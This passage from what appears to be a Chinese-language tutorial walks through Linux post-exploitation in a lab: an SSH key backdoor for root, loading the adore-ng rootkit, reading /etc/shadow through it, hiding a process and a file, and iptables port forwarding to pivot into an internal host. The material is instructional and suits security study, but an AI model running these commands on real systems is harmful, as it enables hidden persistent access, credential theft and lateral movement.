文章插图
3. 创建ssh证书后门
//攻击者创建公私密钥对
ssh-keygen -t rsa
//攻击者将公钥复制到目标主机
ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.242.132
//攻击者使用证书登录目标主机
ssh root@192.168.242.132
文章插图
输入密钥短语即可登录 。
这样即使目标主机更改了root口令,只要证书还在目标主机上,攻击者就可以远程登录 。
(六)rootkit
1. rootkit是什么?
根据百度百科的解释,rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit和木马、后门等其他恶意程序结合使用 。也就是说,用rootkit去隐藏木马所使用的文件、进程、网络连接等 。
2. 安装rootkit
下面我们举个例子,在CentOS 6.5系统中使用LKM(loadable kernel module)后门adore-ng提升权限、隐藏进程和文件 。
首先将adore-ng下载到目标主机,解压缩,进入解压缩后的目录
//编译
make -j 4
//插入内核模块 。
insmod adore-ng.ko
//将rootkit程序复制到临时目录
cp -r /home/user1/adore-ng-master /tmp/
//修改权限
chmod -R 777 /tmp/adore-ng-master
//进入目录
cd /tmp/adore-ng-master
//查看帮助
./ava
文章插图
进入/tmp下的adore-ng目录,运行目录中的ava,这是一个可执行程序,在不加任何参数的情况下显示帮助信息 。从帮助信息中可以看到,这个软件可以做以下的事情:
隐藏文件、提权为root、隐藏进程(make PID invisible) 。
3. 使用rootkit进行提权
/tmp/adore-ng-master/ava r cat /etc/shadow | grep root
文章插图
user1用户正常情况下无法查看shadow文件的内容,但是使用adore-ng的ava,就可以实现提权,可以查看shadow文件的内容 。如果执行的是/bin/bash,那么可以得到一个root shell 。
4. 使用rootkit隐藏进程
cd /opt/hack
//查看需要被隐藏的那个进程的源码 。实际上这是一个shell脚本,它的功能是通过无限循环,将This is the virus写入文件file.txt 。
cat hack.sh
文章插图
//以root身份在后台运行hask.sh
hack.sh &
文章插图
hack.sh脚本在后台运行后,其PID为2734 。可以在ps命令的结果中看到这个进程 。
//应用rootkit的功能,隐藏PID为2734的进程
/tmp/adore-ng-master/ava i 2734
文章插图
进程隐藏成功,看不到2734进程了,也查不到名称中含有hack.sh的进程 。该进程在ps命令中被隐藏 。
5. 使用rootkit隐藏文件
//现在我们使用h参数,来隐藏hack.sh所生成的file.txt这个文件 。
/tmp/adore-ng-master/ava h file.txt
文章插图
可以看到,使用ls命令,即使加上用于显示隐藏文件的-a参数,也看不到file.txt了 。
(七)转发和代理
攻击者入侵linux系统后,可通过修改路由表、设置iptables、部署端口转发和socks代理软件等方式,将被入侵系统作为跳板,进一步入侵目标系统所在内网的其它机器 。
1. 端口转发
例子,通过设置iptables,将目标Linux系统作为跳板机访问内网机器(metasploitable 2)
(1) 跳板机操作
//被攻击系统启用ip转发
echo 1 > /proc/sys/net/ipv4/ip_forward
//被攻击系统创建iptables转发规则,将去往192.168.1.8的2222端口的数据包转发到192.168.1.7的22端口
iptables -t nat -A PREROUTING -p tcp -d 192.168.1.8 --dport 2222 -j DNAT --to 192.168.1.7:22
//被攻击系统启用地址转换
iptables -t nat -A POSTROUTING -j MASQUERADE
(2) 攻击者本地操作
//攻击者访问被攻击系统(跳板机)的2222端口
ssh -p 2222 root@192.168.1.8
文章插图
可以访问到内网机metasploitable 2的ssh服务 。说明端口转发成功 。
推荐阅读
- Linux 怎么修改最大文件打开数量?
- Linux经典面试题:网卡接收数据后,经过几次拷贝才能到用户进程
- 再生龙 使用Clonezilla克隆、恢复Linux系统
- 解读微服务下的契约测试——看微服务如何完整应用系统验证之道
- MIUI系统这几个实用功能,很多小米用户还不太了解,甚至没用过
- 复杂的安全环境里,华为应用市场如何给用户吃下“定心丸”?
- 老人便秘药粥验方11则
- 鸿蒙系统编程日记3-for/if语句
- linux kali安装docker报错Unable to locate package docker
- Linux下查找java进程耗用cpu最高的线程方法